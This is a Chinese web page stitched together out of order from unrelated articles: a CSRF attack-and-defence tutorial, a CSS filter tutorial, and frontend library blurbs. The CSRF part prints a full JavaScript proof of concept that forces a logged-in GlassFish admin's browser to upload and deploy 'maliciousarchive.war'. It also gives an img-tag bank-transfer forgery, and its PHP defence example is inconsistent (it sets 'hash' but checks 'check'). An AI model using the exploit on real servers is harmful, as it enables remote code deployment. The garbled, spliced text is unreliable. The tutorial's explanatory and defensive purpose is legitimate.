Oracle GlassFish Server – REST Cross-Site Request Forgery

该漏洞是由Security-Assessment.com发现的,Oracle
GlassFish服务器的REST接口可以被CSRF请求攻击,譬如其可以允许普通用户任意上传WAR包,并且可以控制在服务端运行从而导致窃取其他运行应用的信息。关于具体的攻击复盘可以参考这里。其攻击手段是首先在钓鱼站点上设置如下按钮:

XHTML

<button id=”upload” onclick=”start()” type=”button”>Upload WAR
Archive</button>

1
<button id="upload" onclick="start()" type="button">Upload WAR Archive</button>

然后添加如下脚本:

JavaScript

var logUrl =
”;
function fileUpload(fileData, fileName) { var fileSize =
fileData.length, boundary =
“—————————270883142628617”, uri = logUrl, xhr = new
XMLHttpRequest(); var additionalFields = { asyncreplication: “true”,
availabilityenabled: “false”, contextroot: “”, createtables: “true”,
dbvendorname: “”, deploymentplan: “”, description: “”,
dropandcreatetables: “true”, enabled: “true”, force: “false”,
generatermistubs: “false”, isredeploy: “false”, keepfailedstubs:
“false”, keepreposdir: “false”, keepstate: “true”, lbenabled: “true”,
libraries: “”, logReportedErrors: “true”, name: “”, precompilejsp:
“false”, properties: “”, property: “”, retrieve: “”, target: “”, type:
“”, uniquetablenames: “true”, verify: “false”, virtualservers: “”,
__remove_empty_entries__: “true” } if (typeof
XMLHttpRequest.prototype.sendAsBinary == “function”) { // Firefox 3 & 4
var tmp = ”; for (var i = 0; i < fileData.length; i++) tmp +=
String.fromCharCode(fileData.charCodeAt(i) & 0xff); fileData = tmp; }
else { // Chrome 9 //
XMLHttpRequest.prototype.sendAsBinary = function(text){ var data = new
ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i
= 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);
var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)();
bb.append(data); var blob = bb.getBlob(); this.send(blob); } } var
fileFieldName = “id”; xhr.open(“POST”, uri, true);
xhr.setRequestHeader(“Content-Type”, “multipart/form-data;
boundary=”+boundary); // simulate a file MIME POST request.
xhr.setRequestHeader(“Content-Length”, fileSize); xhr.withCredentials =
“true”; xhr.onreadystatechange = function() { if (xhr.readyState == 4) {
if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304)
{ if (xhr.responseText != “”) { alert(JSON.parse(xhr.responseText).msg);
} } else if (xhr.status == 0) { } } } var body = “”; for (var i in
additionalFields) { if (additionalFields.hasOwnProperty(i)) { body +=
addField(i, additionalFields[i], boundary); } } body +=
addFileField(fileFieldName, fileData, fileName, boundary); body += “–“

  • boundary + “–“; xhr.sendAsBinary(body); return true; } function
    addField(name, value, boundary) { var c = “–” + boundary + “\r\n” c
    += ‘Content-Disposition: form-data; name=”‘ + name + ‘”\r\n\r\n’; c
    += value + “\r\n”; return c; } function addFileField(name, value,
    filename, boundary) { var c = “–” + boundary + “\r\n” c +=
    ‘Content-Disposition: form-data; name=”‘ + name + ‘”; filename=”‘ +
    filename + ‘”\r\n’; c += “Content-Type:
    application/octet-stream\r\n\r\n”; c += value + “\r\n”; return c;
    } function getBinary(file){ var xhr = new XMLHttpRequest();
    xhr.open(“GET”, file, false); xhr.overrideMimeType(“text/plain;
    charset=x-user-defined”); xhr.send(null); return xhr.responseText; }
    function readBinary(data) { var tmp = ”; for (var i = 0; i <
    data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) & 0xff);
    data = tmp; return tmp; } function start() { var c =
    getBinary(‘maliciousarchive.war’); fileUpload(c,
    “maliciousarchive.war”); }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
var logUrl = ‘http://glassfishserver/management/domain/applications/application’;
  
function fileUpload(fileData, fileName) {
    var fileSize = fileData.length,
      boundary = "—————————270883142628617",
      uri = logUrl,
      xhr = new XMLHttpRequest();
  
    var additionalFields = {
          asyncreplication: "true",
          availabilityenabled: "false",
          contextroot: "",
        createtables: "true",
        dbvendorname: "",
        deploymentplan: "",
        description: "",
        dropandcreatetables: "true",
        enabled: "true",
        force: "false",
        generatermistubs: "false",
        isredeploy: "false",
        keepfailedstubs: "false",
        keepreposdir: "false",
        keepstate: "true",
        lbenabled: "true",
        libraries: "",
        logReportedErrors: "true",
        name: "",
        precompilejsp: "false",
        properties: "",
        property: "",
        retrieve: "",
        target: "",
        type: "",
        uniquetablenames: "true",
        verify: "false",
        virtualservers: "",
        __remove_empty_entries__: "true"
          
    }
      
    if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4
    var tmp = ”;
    for (var i = 0; i < fileData.length; i++) tmp +=
String.fromCharCode(fileData.charCodeAt(i) & 0xff);
    fileData = tmp;
  }
  else { // Chrome 9
    // http://javascript0.org/wiki/Portable_sendAsBinary
    XMLHttpRequest.prototype.sendAsBinary = function(text){
      var data = new ArrayBuffer(text.length);
      var ui8a = new Uint8Array(data, 0);
      for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);
  
      var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)();
  
      bb.append(data);
      var blob = bb.getBlob();
      this.send(blob);
    
    }
  }
    var fileFieldName = "id";
    xhr.open("POST", uri, true);
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a
file MIME POST request.
    xhr.setRequestHeader("Content-Length", fileSize);
    xhr.withCredentials = "true";
    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4) {
        if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {
            
          if (xhr.responseText != "") {
            alert(JSON.parse(xhr.responseText).msg);  
          }
        } else if (xhr.status == 0) {
            
        }
      }
    }
      
    var body = "";
      
    for (var i in additionalFields) {
      if (additionalFields.hasOwnProperty(i)) {
        body += addField(i, additionalFields[i], boundary);
      }
    }
  
    body += addFileField(fileFieldName, fileData, fileName, boundary);
    body += "–" + boundary + "–";
    xhr.sendAsBinary(body);
    return true;
}
  
function addField(name, value, boundary) {
  var c = "–" + boundary + "\r\n"
  c += ‘Content-Disposition: form-data; name="’ + name + ‘"\r\n\r\n’;
  c += value + "\r\n";
  return c;
}
  
function addFileField(name, value, filename, boundary) {
    var c = "–" + boundary + "\r\n"
    c += ‘Content-Disposition: form-data; name="’ + name + ‘"; filename="’ + filename + ‘"\r\n’;
    c += "Content-Type: application/octet-stream\r\n\r\n";
    c += value + "\r\n";
    return c;  
}
  
function getBinary(file){
  var xhr = new XMLHttpRequest();  
  xhr.open("GET", file, false);  
  xhr.overrideMimeType("text/plain; charset=x-user-defined");  
  xhr.send(null);
  return xhr.responseText;
}
  
function readBinary(data) {
  
var tmp = ”;
    for (var i = 0; i < data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) &
0xff);
    data = tmp;
    return tmp;
    }
  
function start() {
  var c = getBinary(‘maliciousarchive.war’);
  fileUpload(c, "maliciousarchive.war");
    
}

打赏支持我写出更多好文章,谢谢!

任选一种支付方式

图片 1
图片 2

3 赞 5 收藏
评论

Shards

免费的现在UI工具包,基于Bootstrap
4,超轻量,全响应。包含10个自定义组件,2个预置着陆页及基于Material和Font
Awesome包的图标库。开发者可以自定义其SCSS文件,以修改已有布局,或者创建自己的布局。


图片 3

为页面增加随机数

当用户访问站点时,该站点应该生成一个(密码上很强壮的)伪随机值,并在用户的计算机上将其设为cookie。站点应该要求每个表单都包含该伪随机
值(作为表单值和cookie值)。当一个POST请求被发给站点时,只有表单值和cookie值相同时,该请求才会被认为是有效的。当攻击者以一个用户的名义提交表单时,他只能修改该表单的值。攻击者不能读取任何发自该服务器的数据或者修改cookie值,这是同源策略的缘故。
这意味着,虽然攻击者可以用表单发送任何他想要的值,但是他却不能修改或者读取存储在该cookie中的值。因为cookie值和表单值必须是相同的,所
以除非攻击者能猜出该伪随机值,否则他就无法成功地提交表单。以PHP为例,我们可以在服务端首先生成随机数:

PHP

 <?php     //构造加密的Cookie信息     $value =
“DefenseSCRF”;     setcookie(”cookie”, $value, time()+3600);
  ?>

1
2
3
4
5
 <?php
    //构造加密的Cookie信息
    $value = “DefenseSCRF”;
    setcookie(”cookie”, $value, time()+3600);
  ?>

在表单里增加Hash值,以认证这确实是用户发送的请求。

PHP

<?php     $hash = md5($_COOKIE[‘cookie’]);   ?>
  <form method=”POST” action=”transfer.php”>     <input
type=”text” name=”toBankId”>     <input type=”text”
name=”money”>     <input type=”hidden” name=”hash”
value=”<?=$hash;?>”>     <input type=”submit”
name=”submit” value=”Submit”>   </form>

1
2
3
4
5
6
7
8
9
<?php
    $hash = md5($_COOKIE[‘cookie’]);
  ?>
  <form method=”POST” action=”transfer.php”>
    <input type=”text” name=”toBankId”>
    <input type=”text” name=”money”>
    <input type=”hidden” name=”hash” value=”<?=$hash;?>”>
    <input type=”submit” name=”submit” value=”Submit”>
  </form>

然后在服务器端进行Hash值验证:

PHP

<?php    if(isset($_POST[‘check’])) {    $hash =
md5($_COOKIE[‘cookie’]);    if($_POST[‘check’] == $hash) {   
doJob();    } else {         //…    }    } else {
      //…    } ?>

1
2
3
4
5
6
7
8
9
10
11
12
      <?php
        if(isset($_POST[‘check’])) {
             $hash = md5($_COOKIE[‘cookie’]);
             if($_POST[‘check’] == $hash) {
                  doJob();
             } else {
        //…
             }
        } else {
      //…
        }
      ?>

当然,我们也可以强制要求用户进行任何增删改的操作时都需要输入验证码,即进行用户交互,不过这样也就意味着很差的用户体验。

最后

系列 CSS 文章汇总在我的 Github
,持续更新,欢迎点个 star 订阅收藏。

好了,本文到此结束,希望对你有帮助 🙂

如果还有什么疑问或者建议,可以多多交流,原创文章,文笔有限,才疏学浅,文中若有不正之处,万望告知。

打赏支持我写出更多好文章,谢谢!

打赏作者

Parcel

Parcel是一个飞快的Web应用打包工具,无需配置。支持打包JavaScript、CSS、HTML、文件资源,并使用Babel、PostCSS和PostHTML进行自动模块转换。它还有一个非常友好的错误日志,支持语法高亮,方便定位问题。


图片 4

CSRF 详解与攻防实战

2016/10/27 · 基础技术 ·
CSRF

原文出处:
王下邀月熊_Chevalier   

关于作者:chokcoco

图片 5

经不住流年似水,逃不过此间少年。

个人主页 ·
我的文章 ·
63 ·
   

图片 6

Reactopt

Reactopt是一个CLI
React优化工具,可以识别应用中可能导致不必要重绘的事件。这个库是为了替代react-addons-perf模块开发的,后者在React
16以后就不被支持了。当前,它支持Click/Double
click、Drag、KeyPress、KeyDown和Input事件。


图片 7

服务端防御

blur 混合 contrast 产生融合效果

接下来介绍的这个,是本文的重点,模糊滤镜叠加对比度滤镜产生的融合效果。让你知道什么是
CSS 黑科技!

单独将两个滤镜拿出来,它们的作用分别是:

  1. filter: blur(): 给图像设置高斯模糊效果。
  2. filter: contrast(): 调整图像的对比度。

但是,当他们“合体”的时候,产生了奇妙的融合现象,通过对比度滤镜把高斯模糊的模糊边缘给干掉,利用高斯模糊实现融合效果。

先来看一个简单的例子:

图片 8

CodePen Demo — filter mix between blur and
contrast

 

仔细看两圆相交的过程,在边与边接触的时候,会产生一种边界融合的效果。

上述效果的实现基于两点:

  1. 图形是在被设置了 filter: contrast() 的画布背景上进行动画的
  2. 进行动画的图形被设置了 filter: blur()
    进行动画的图形的父元素需要是被设置了 filter: contrast() 的画布)

意思是,上面两圆运动的背后,其实是叠加了一张设置了 filter: contrast()
的大白色背景,而两个圆形则被设置了 filter: blur() ,两个条件缺一不可。

当然,背景色不一定是白色,我们稍稍修改上面的Demo,简单的示意图如下:

图片 9

ClarifyJS

ClarifyJS可以让你串联一串方法,以任意顺序执行。通常的JavaScript方法是从左到右执行的,ClarifyJS可以让你改变它们执行的顺序。而且,通过选择是否让进程等待某个特定的异步方法完成还是执行后继续,也能控制异步方法。


图片 10

Cross Site Request Forgery

CSRF(Cross-site request
forgery),中文名称:跨站请求伪造,也被称为:one click attack/session
riding,缩写为:CSRF/XSRF。CSRF与XSS在攻击手段上有点类似,都是在客户端执行恶意代码,有些文章中认为CSRF与XSS的区别在于CSRF不注重于获取用户Cookie,笔者认为可能还有区别在于CSRF不仅可以在源站发起攻击,还可以引导用户访问其他危险网站的同时发起攻击。XSS全程是跨站脚本攻击,即攻击者向某个Web页面中插入恶意的JavaScript脚本,而当普通用户访问时,该恶意脚本自动执行而从盗取用户的Cookie等信息。对于XSS的防御手段主要就是输入检查与输出检查,譬如对用户输入的文本框内容进行<、>这样的特殊字符检查。而输出检查则是指对于输出到网页的内容进行过滤或者编解码,譬如使用HTML编码将<转义。CSRF为跨站请求伪造,其与XSS有点类似,不过区别在于CSRF不一定依赖于JavaScript,并且不仅可以在源站发起攻击,还有可能当用户访问恶意网站时引导其访问原网站。CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。对于CSRF的防御也分为服务端防御与客户端防御两种,服务端防御典型的譬如给某个页面添加随机数,使得无法从第三方页面直接提交。在客户端防御的话可以利用譬如Firefox提供的一些检查工具。注意,CSRF并没有打破同源策略。

图片 11

以下面的这个例子来说:银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000危险网站B,它里面有一段HTML的代码如下:

XHTML

<img
src=;

1
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方
式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的
Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfe…
money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作。参考深入解析跨站请求伪造漏洞:原理剖析(中所述,XSS与CSRF的区别在于:

  • XSS攻击需要JavaScript,而CSRF攻击不需要。
  • XSS攻击要求站点接受恶意代码,而对于CSRF攻击来说,恶意代码位于第三方站点上。过滤用户的输入可以防止恶意代码注入到某个站点,但是它无阻止法恶意代码在第三方站点上运行。

文字融合动画

另外,我们可以在动画的过程中,动态改变元素滤镜的 filter: blur() 的值。

利用这个方法,我们还可以设计一些文字融合的效果:

图片 12

图片 13

具体实现你可以看这里:

CodePen Demo — word animation | word
filter

Luxon

Luxon是强大的日期和时间库,支持DateTimeDurationInterval类型,可以解析和格式化常见或自定义的日期。Luxon支持使用时区和使用原生Intl
API实现国际化。


图片 14

防御

blur — 生成图像阴影

通常而言,我们生成阴影的方式大多是 box-shadow
filter: drop-shadow()text-shadow
。但是,使用它们生成阴影是阴影只能是单色的。

有读者同学会问了,你这么说,难道还可以生成渐变色的阴影不成?
图片 15

额,当然不行。

图片 16

这个真不行,但是通过巧妙的利用 filter: blur
模糊滤镜,我们可以假装生成渐变色或者说是颜色丰富的阴影效果。

假设我们有下述这样一张头像图片:

图片 17

下面就利用滤镜,给它添加一层与原图颜色相仿的阴影效果,核心 CSS
代码如下:

.avator { position: relative; background: url($img) no-repeat center
center; background-size: 100% 100%; &::after { content: “”; position:
absolute; top: 10%; width: 100%; height: 100%; background: inherit;
background-size: 100% 100%; filter: blur(10px) brightness(80%)
opacity(.8); z-index: -1; } }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.avator {
    position: relative;
    background: url($img) no-repeat center center;
    background-size: 100% 100%;
    
    &::after {
        content: "";
        position: absolute;
        top: 10%;
        width: 100%;
        height: 100%;
        background: inherit;
        background-size: 100% 100%;
        filter: blur(10px) brightness(80%) opacity(.8);
        z-index: -1;
    }
}

看看效果:

图片 18

其简单的原理就是,利用伪元素,生成一个与原图一样大小的新图叠加在原图之下,然后利用滤镜模糊
filter: blur()
配合其他的亮度/对比度,透明度等滤镜,制作出一个虚幻的影子,伪装成原图的阴影效果。

嗯,最重要的就是这一句 filter: blur(10px) brightness(80%) opacity(.8);

CodePen Demo — filter create
shadow

Georgiev]()   译文出处:[为之漫笔

众成翻译]()   

Tutorialzine的使命是让开发者与最新的Web开发发展同步。因此,我们每月都会精选一批最优秀的资源推荐给大家,相信这些资源你绝对值得拥有!


图片 19

发表评论

电子邮件地址不会被公开。 必填项已用*标注